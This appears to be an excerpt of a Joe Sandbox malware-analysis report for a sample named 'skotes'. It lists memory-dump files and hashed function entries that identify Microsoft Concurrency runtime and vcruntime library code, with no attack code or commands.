Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 45f80a9c529a187db50c13fa26187a5dab52e3f32f621504af3107eefb81a793
Instruction ID: ebf4b1f0462502cd8412a73f03ee129cad6893111e29fba2f00680dd084698a2
Opcode Fuzzy Hash: 45f80a9c529a187db50c13fa26187a5dab52e3f32f621504af3107eefb81a793
Instruction Fuzzy Hash: D0816D35D00219DFCF15EBA4C985BAEB7B6AF65314F24402DE401A7282DB34EB46CF91

Function 001A26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 001A26E3

Part of subcall function 001A24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001A2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 001A2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 001A2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 001A275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 001A27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 001A27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 001A2846

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 84f534a44347819b1cecfd16cac2f38f9b31acac2c92c2fa60e75150e127bbfa
Instruction ID: d93109fcaf307cc2cee8c939d3e31dae219d96d230527c659368be746add5f45
Opcode Fuzzy Hash: 84f534a44347819b1cecfd16cac2f38f9b31acac2c92c2fa60e75150e127bbfa
Instruction Fuzzy Hash: 4281B238904249AFDF169F98C951BFE7BB2AF67308F044098FD412B252C7368E55DB61

Function 001A2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 001A2982

Part of subcall function 001A24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001A2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 001A29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 001A29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 001A29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 001A2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 001A2AD8

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 526c6b9a1367bbc35a663844c763c0190196dd1fc6b8d00f47398b1c02d1879c
Instruction ID: 73de56a852c28766b2949a7bc5d3093ff6cce201303dda0c37dbbf10c777ff8f
Opcode Fuzzy Hash: 526c6b9a1367bbc35a663844c763c0190196dd1fc6b8d00f47398b1c02d1879c
Instruction Fuzzy Hash: 4571AC78900249AFDF16DF68C981BBEBBB2AF5A304F044098EC416B252C772DD16DB71

Function 00192832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00192876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001928DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00192913

Part of subcall function 001907ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0019080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00192993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001929DB

Part of subcall function 001907C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001907DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001929EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00192A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00192A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00192A7E

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: c7f16d9db182e5400efa0206e259913009c8a2047019267a239cf6a8791d58bd
Instruction ID: 0cdb73bb68cb1e1ef10f1fc70a392bf9db32f90fe8d49c8fc4d71f4a016e1a4d
Opcode Fuzzy Hash: c7f16d9db182e5400efa0206e259913009c8a2047019267a239cf6a8791d58bd
Instruction Fuzzy Hash: 1381B032A02626AFCF18DFA8D8919BDB7F2BF58314B24412FD445E7A51D730AD85CB90

Function 001969DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00196A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00196A51
List.LIBCONCRT ref: 00196A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00196A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00196AB9
List.LIBCONCRT ref: 00196AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00196B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00196B20
List.LIBCONCRT ref: 00196B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00196B68

Part of subcall function 00195EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00195EF7
Part of subcall function 00195EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00195F09

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 8663e5a407552b3dac5d689cf73e23e8a91cb95ffaec1816c196d199d16d650d
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 65515E71A00209AFDF08DF64C495FEDB3A8BF18344F1540A9E915AB282DB34AE45CFA0

Function 001A52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 001A53A0
type_info::operator==.LIBVCRUNTIME ref: 001A53C7
___TypeMatch.LIBVCRUNTIME ref: 001A54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 001A55AE
CallUnexpected.LIBVCRUNTIME ref: 001A5650

Strings

csm, xrefs: 001A534D
